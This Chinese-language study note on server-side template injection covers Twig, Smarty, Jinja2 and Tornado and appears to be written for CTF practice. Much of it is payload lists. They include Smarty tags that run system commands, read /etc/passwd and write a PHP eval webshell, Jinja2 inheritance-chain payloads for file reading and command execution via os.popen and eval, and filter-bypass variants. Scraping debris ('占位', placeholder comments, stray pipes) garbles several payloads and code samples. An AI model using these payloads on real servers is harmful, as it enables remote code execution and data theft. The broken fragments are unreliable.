SSTI (服务器端模板注入,Server-Side Template Injection)
由于不知道哪里的 bug,查看图片需要在检查中手动把 data-src 改成 src
# 介绍
漏洞成因是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。 凡是使用模板的地方都可能会出现 SSTI 的问题,这不是模版引擎导致的问题。
以 PHP 模版引擎 Twig 为例:
<?php | |
require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php'; | |
Twig_Autoloader::register(true); | |
// 引入自动加载器并使用 register 方法开启自动加载 | |
$twig = new Twig_Environment(new Twig_Loader_String()); | |
// 创建环境,并使用字符串加载器 | |
$output = $twig->render("Hello ", array("name" => $_GET["name"])); | |
// 将用户输入作为模版变量的值 | |
echo $output; | |
?> |
Twig_Environment
核心环境类,负责配置模版加载,缓存,转义等行为,两个参数:加载器(一个对象),配置数组(可选,包括是否启用缓存,自动转义方式等)
$loader = new Twig_Loader_Filesystem('/path/to/templates'); $twig = new Twig_Environment($loader, [ 'cache' => '/path/to/cache', ]);// 启用缓存,使用文件加载器 $twig->render('hello.twig', ['name' => 'World']);默认自动转义html。如果使用{{name\|raw}},即使用raw过滤器,转移会被禁用。可以使用upper等过滤器来修改变量输出 **`Twig_Loader_String`** 字符串加载器,允许将字符串作为模版内容 **`render`** 渲染模版,两个参数,模版**字符串**和变量数组 //如果使用的是文件加载器,那么就是文件名(如上) {{name}}是变量占位符 ['name' => 'World'],键是变量名,值就是变量值
常见的加载器还有:
Twig_Loader_Array:从数组中加载模板(键为模板名,值为模板内容)
Twig_Loader_Filesystem:从文件系统加载模板,这个加载的是主模版,没有命名空间。
// 创建的对象可以使用 addPath 方法添加其他模版路径,可以再加一个参数作为命名空间,渲染时使用 @命名空间/文件名
字符串参数。
Twig_Loader_Chain:组合多个加载器,按顺序查找模板。
以上都是没有漏洞的情况,因为会自动转义,有漏洞的是:
echo $twig->render("Hello {$_GET["name"]}"); | |
// 直接把变量写进去,而非使用占位符 | |
// 无漏洞的 | |
echo $twig->render("Hello {name}",['name'=>$_GET["name"]); |
占位符除了 },也可以是 20 这样的表达式,此时计算结果作为值,如果是正常的写法,2*10 不会计算,因为是 var 的用法,但是如果是上面的:
?name=20 |
直接插入表达式中,会被识别成第二种用法,得到 20
这用于检测是否存在漏洞点
# 流程
判断:
payload:
见 1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
# 其他模版引擎
判断和验证都是类似的,只是利用不一样
# PHP
Smarty
依靠内置变量
{占位$smarty.version} | |
#获取 smarty 的版本号 | |
{占位system('cat /flag')} | |
#有的时候可以 | |
{占位if phpinfo()}{/if} | |
#可以用来执行系统命令 |
{占位php}phpinfo();{占位/php} | |
#执行相应的php代码,Smarty版本小于3才行 | |
{占位literal}<script language="php">phpinfo();</script> | |
{占位/literal} | |
#这个标签用于字符原样输出,只在php5可用 | |
{占位self::getStreamVariable("file:///etc/passwd")} | |
#读文件,3.1.30之前 | |
{占位Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())} | |
#写webshell,3.1.30之前 |
# Python
使用 Jinjia2:
注意直接把 name 拼接进去了
如果要修复:
在默认配置下,Jinja2 允许模板访问:
- 传递给模板的变量
- 变量的属性和方法
- Python 的内置类型和函数
- 对象的特殊方法(如
__class__
)
可以构造继承链进行文件读取,命令执行
# 继承链
__class__
:每个对象都有这个属性,指向其类对象__mro__
:方法解析顺序,显示类的继承链__bases__
:类的直接父类__subclasses__()
:返回类的所有子类列表__dict__
:存储对象的属性字典__globals__
:函数的全局命名空间__builtins__
:内置函数和变量的命名空间
这些都是方法,这些方法使得可以通过一个类来得到转到其父类或者其他操作,然后进一步操作,比如:
{占位{ ''.__class__.__mro__[2].__subclasses__()[40] ('/etc/passwd').read() }} | |
#文件读取攻击 | |
#由一个字符串对象,通过__class__转到其父类字符串类 str 在沿着继承链找到 object 基类(其通常是索引 2)然后使用其方法__subclasses ()__列出所以继承了 object 的类,在通过索引 40 找到 file 类(file 类的索引不一定都是 40,要看环境),使用其 read () 方法读取文件 | |
注意:file类在python3中被弃用,而docker默认使用python3 |
可解析的语法
{占位% for c in [].__class__.__base__.__subclasses__() %} | |
{占位% if c.__name__=='file' %} | |
{占位{ c("/etc/passwd").readlines() }} | |
{占位% endif %} | |
{占位% endfor %} |
还原回去:
for c in 占位{}.__class__.__base__.__subclasses__(): | |
if(c.__name__=='file'): | |
print(c) | |
print c('joker.txt').readlines() | |
#这里就是循环直到找到 file 类,不用管索引 |
同样只在 python2 中使用的还有找到 os 这种类直接执行命令
在 python3 中可以用 __builtins__
实现类似的效果:
最后......
# 基础 payload
获得基类 | |
#python2.7 | |
''占位.__class__.__mro__[2] | |
{}占位.__class__.__bases__[0] | |
()占位.__class__.__bases__[0] | |
[]占位.__class__.__bases__[0] | |
request占位.__class__.__mro__[1] | |
#python3.7 | |
''占位.__。。。class__.__mro__[1] | |
{}占位.__class__.__bases__[0] | |
()占位.__class__.__bases__[0] | |
[]占位.__class__.__bases__[0] | |
request占位.__class__.__mro__[1] | |
#python 2.7 | |
#文件操作 | |
#找到 file 类 | |
[]占位.__class__.__bases__[0].__subclasses__()[40] | |
#读文件 | |
[]占位.__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() | |
#写文件 | |
[]占位.__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test') | |
#命令执行 | |
#os 执行 | |
[]占位.__class__.__bases__[0].__subclasses__()[59]占位.__init__.func_globals.linecache下有os类,可以直接执行命令: | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() | |
#eval,impoer 等全局函数 | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令: | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() | |
[]占位.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() | |
#python3.7 | |
#命令执行 | |
{占位% for c in [].__class__.__base__.__subclasses__() %}<!--swig6--><!--swig7--> | |
#文件操作 | |
{占位% for c in [].__class__.__base__.__subclasses__() %}<!--swig8--><!--swig9--> | |
#windows 下的 os 命令 | |
""占位.__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read() |
# 绕过 waf
一下几种:
# 中括号
占位
#getitem、pop | |
''占位.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() | |
''占位.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read() |
# 引号
#chr 函数 | |
<!--swig10--> | |
<!--swig11-->#request 对象 | |
{占位{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd | |
#命令执行 | |
<!--swig12--> | |
{占位{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} | |
{占位{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id |
# 下划线
<!--swig13-->&class=__class__&mro=__mro__&subclasses=__subclasses__ |
# 花括号
#用 & lt;!--swig14--> 标记 | |
<!--swig15--> |
# 示例
{占位% for c in [].__class__.__base__.__subclasses__() %} | |
{占位% if c.__name__ == 'catch_warnings' %} | |
{占位% for b in c.__init__.__globals__.values() %} | |
{占位% if b.__class__ == {}.__class__ %} | |
{占位% if 'eval' in b.keys() %} | |
<!--swig16--> //popen的参数就是要执行的命令 | |
{占位% endif %} | |
{占位% endif %} | |
{占位% endfor %} | |
{占位% endif %} | |
{占位% endfor %} |
# tornado
是渲染函数
占位import tornado.template | |
占位import tornado.ioloop | |
占位import tornado.web | |
TEMPLATE = ''' | |
<html占位> | |
<head><title> Hello </title></head> | |
<body> Hello max </body> | |
</html> | |
'''占位 | |
class MainHandler(tornado.web.RequestHandler): | |
def get(self): | |
name = self.get_argument('name', '') | |
template_data = TEMPLATE.replace("FOO",name) | |
t = tornado.template.Template(template_data) | |
self.write(t.generate(name=name)) | |
application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None) | |
if __name__ == '__main__': | |
application.listen(8000) | |
tornado.ioloop.IOLoop.instance().start() |
占位
这里直接用 name 替换没做检查,而且是直接拼接显示,可以直接用 xss 弹窗验证(上次校赛那道题是大概是 java 的)
有一些可以快速访问的对象
:获得环境变量,有没有放奇怪的东西看出题者
放个只能看看思路的题解(毕竟不一定知道哪一个可以利用):
然后: